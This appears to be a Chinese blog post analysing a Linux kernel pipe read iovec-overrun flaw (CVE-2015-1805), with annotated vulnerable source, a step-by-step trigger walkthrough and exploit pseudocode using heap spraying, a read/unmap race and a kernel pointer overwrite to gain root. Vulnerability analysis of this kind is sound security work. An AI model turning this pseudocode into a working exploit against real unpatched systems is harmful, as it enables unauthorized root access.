在linux 内核3.16版本之前的fs/pipe.c当中,由于piperead和pipewrite没有考虑到拷贝过程中数据没有同步的一些临界情况,造成了拷贝越界的问题,因此有可能导致系统crash以及系统权限提升。这种漏洞又称之为"I/O vector array overrun"。
漏洞代码
struct iovec
{
void __user *iov_base; /* BSD uses caddr_t (1003.1g requires void *) */
__kernel_size_t iov_len; /* Must be size_t (1003.1g) */
};
/**
* struct pipe_buffer - a linux kernel pipe buffer
* @page: the page containing the data for the pipe buffer
* @offset: offset of data inside the @page
* @len: length of data inside the @page
* @ops: operations associated with this buffer. See @pipe_buf_operations.
* @flags: pipe buffer flags. See above.
* @private: private data owned by the ops.
**/
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
static ssize_t
pipe_read(struct kiocb *iocb, const struct iovec *_iov,
unsigned long nr_segs, loff_t pos)
{
...
total_len = iov_length(iov, nr_segs);
...
// 循环读取内存数据到iovec,iovec用户定义,把pipe里面的数据写到iov里指向的用户空间地址里
for (;;) {
int bufs = pipe->nrbufs;
if (bufs) {
...
// chars = pipe_buffer.len, inside the @page即max = 0x1000
size_t chars = buf->len, remaining;
...
if (chars > total_len)
chars = total_len;
...
// 检查iovecs中的每一个iov->base是否是一个可写的用户态内存页
// 如果全部可写返回0,那么atomic=1,接下来会直接使用__copy_to_user,不对目标地址再作检查
atomic = !iov_fault_in_pages_write(iov, chars);
remaining = chars;
offset = buf->offset;
redo:
addr = ops->map(pipe, buf, atomic);
// 如果copy到len=X,出错返回,那么已经copy成功的iov->iov_len会被减去,但是读取缓冲区的长度total_len,并没有同步减少。
// 进入redo逻辑后,还会继续copy长度为total_len的字节, 但是iov已经在前一次失败中减去已经copy的长度X。
// 那么最终会向iov后越界copy len=X个长度的数据,aka"iovec overrun"
error = pipe_iov_copy_to_user(iov, addr, &offset,
&remaining, atomic);
ops->unmap(pipe, buf, addr);
if (unlikely(error)) {
/*
* Just retry with the slow path if we failed.
*/
if (atomic) {
atomic = 0;
goto redo;
}
if (!ret)
ret = error;
break;
}
ret += chars;
buf->offset += chars;
buf->len -= chars;
...
total_len -= chars;
if (!total_len)
break; /* common path: read succeeded */
}
...
}
static int
pipe_iov_copy_to_user(struct iovec *iov, void *addr, int *offset,
size_t *remaining, int atomic)
{
unsigned long copy;
while (*remaining > 0) {
while (!iov->iov_len)
iov++;
copy = min_t(unsigned long, *remaining, iov->iov_len);
// 如果atomic=1,直接调用__copy_to_user,否则使用copy_to_user进行地址检查(access_ok)
if (atomic) {
if (__copy_to_user_inatomic(iov->iov_base,
addr + *offset, copy))
return -EFAULT;
} else {
if (copy_to_user(iov->iov_base,
addr + *offset, copy))
return -EFAULT;
}
// 每次copy完一个iov的时候对iov->len的长度进行更新
*offset += copy;
*remaining -= copy;
iov->iov_base += copy;
// !!! 如果copy到len=X,出错返回,那么已经copy成功的iov->len会被减去
iov->iov_len -= copy;
}
return 0;
}
触发逻辑
第一次拷贝: iovfaultinpageswrite()检测通过即atomic = 1。 pipeiovcopytouser()中途失败即其中某一个iov->base指向的内存页无效。
第二次拷贝,进入redo逻辑: pipeiovcopytouser()成功,即使其中失效的iov->base重新生效。 此时atomic在第一次失败时候置0,因此会使用copytouser,因此不能触发越界写,保证一个合法的buf->len拷贝完成功返回。 并且让total_len稍大于buf->len(max=0x1000),拷贝完成还有剩余进入下一次循环。
第三次拷贝: iovfaultinpageswrite()检测通过即atomic = 1。 pipeiovcopytouser()越界拷贝。
利用
struct iovec iov[0x200];
for (i = 0; i < 0x200; i++) {
iov[i].iov_base = 0x4000000 + i * 0x1000;
if (i == 0)
iov[i].iov_len = 0;
else if (i == 1)
iov[i].iov_len = 0x20;
else
iov[i].iov_len = 0x8;
}
total_len = (0x200-2)*8+0x20 = 0x1010
第一次拷贝:
iov[0]->iov_base = 0x40000000;
iov[0]->iov_len = 0x0;
iov[1]->iov_base = 0x40001000;
iov[1]->iov_len = 0x20;
iov[2]->iov_base = 0x40002000;
iov[2]->iov_len = 0x8;
iov[3]->iov_base = 0x40003000;
iov[3]->iov_len = 0x8;
iov[4]->iov_base = 0x40004000;
iov[4]->iov_len = 0x8;
...
iovfaultinpageswrite()检测通过,在pipeiovcopytouser()中将 iov[2]->iov_base = 0x40002000 这个内存地址设置成无效, 这时iov的值如下
iov[0]->iov_base = 0x40000000;
iov[0]->iov_len = 0x0;
iov[1]->iov_base = 0x40001000;
iov[1]->iov_len = 0x0; // !!! 这个长度值已经被消耗
iov[2]->iov_base = 0x40002000; // unmap 设置无效
iov[2]->iov_len = 0x8;
iov[3]->iov_base = 0x40003000;
iov[3]->iov_len = 0x8;
iov[4]->iov_base = 0x40004000;
iov[5]->iov_len = 0x8;
函数返回后执行 redo。
第二次拷贝:
iov[0]->iov_base = 0x40000000;
iov[0]->iov_len = 0x0;
iov[1]->iov_base = 0x40001000;
iov[1]->iov_len = 0x0; // !!! 这个长度值已经被消耗
iov[2]->iov_base = 0x40002000; // mmap 设置有效
iov[2]->iov_len = 0x8;
iov[3]->iov_base = 0x40003000;
iov[3]->iov_len = 0x8;
iov[4]->iov_base = 0x40004000;
iov[5]->iov_len = 0x8;
pipeiovcopytouser函数正常执行完以后,iov的值如下
iov[0]->iov_base = 0x40000000;
iov[0]->iov_len = 0x0;
...
iov[0x1ff]->iov_base = 0x401ff000;
iov[0x1ff]->iov_len = 0x0;
到这个时刻,分配的iov[0x200] 其实已经使用完毕, 但是因为第一次调用时故意引发的错误导致 total_len -= chars 没有更新。
total_len = 0x1010;
chars = 0x1000,
total_len -= chars;
total_len = 0x10;
第三次拷贝:
iov[0]->iov_base = 0x40000000;
iov[0]->iov_len = 0x0;
...
iov[0x1ff]->iov_base = 0x401ff000;
iov[0x1ff]->iov_len = 0x0;
iov[0x200]->iov_base = ????????;
iov[0x200]->iov_len = ????????;
再次进入pipeiovcopytouser(),由于 0x1ff 项已经使用完了, 继续累加就会开始往0x200项的iovbase写值了,这样就产生了一个数组越界写。 只要控制 iov[0x200]->iovbase 和 iov[0x200]->iov_len 的内容,就达到了内核任意地址写任意值。
整理整个逻辑流程如下(参考race时间轴和图解CVE-2015-1805):
利用伪代码:
void
init_payloads() {
for (i = 0; i < 0x200; i++) {
iov[i].iov_base = mmap(0x1000);
if (i == 0)
iov[i].iov_len = 0;
else if (i == 1)
iov[i].iov_len = 0x20;
else
iov[i].iov_len = 0x8;
}
}
void
write_msg() {
msg.msg_hdr.msg_iov = iovecs_write;
msg.msg_hdr.msg_iovlen = 0x200;
msg.msg_hdr.msg_control = iovecs_write;
msg.msg_hdr.msg_controllen = (0x200 * sizeof(struct iovec));
while (!stop_send) {
i_ret = syscall(__NR_sendmmsg, fd_sock, &msg, 1, 0);
}
}
int
heap_spray() {
for (i = 0; i < 0x200; i++) {
iovecs_write[i].iov_base = (void*)flag_addr;
iovecs_write[i].iov_len = 0x1000;
}
iovecs_write[0].iov_len = 0;
iovecs_write[1].iov_base = (void*)patch_kernel_addr;
iovecs_write[1].iov_len = 0x10; // patch len
for(255) {
pthread_create(write_msg);
}
stop_send = 1;
pthread_join();
stop_send = 0;
}
void
read_msg() {
pthread_mutex_lock(&mutex_read_msg);
readv();
}
int
main(int argc, char* argv[],char *env[]) {
// padding iovec[0x200]
init_payloads();
// padding patch_kernel_addr
heap_spray();
do {
// write do_root addr
write_pipe(get_root_addr);
// lock
pthread_mutex_lock(&mutex_read_msg);
pthread_create(read_msg);
// wait readv() ready
usleep(100);
pthread_mutex_unlock(&g_mutex_read_msg);
munmap();
mmap();
} while (*(int*)flag_addr != get_root_addr)
printf("success\n");
// if patch_kernel_addr == fsync_addr
fd = open("/dev/ptmx");
fsync(fd);
}
没有评论:
发表评论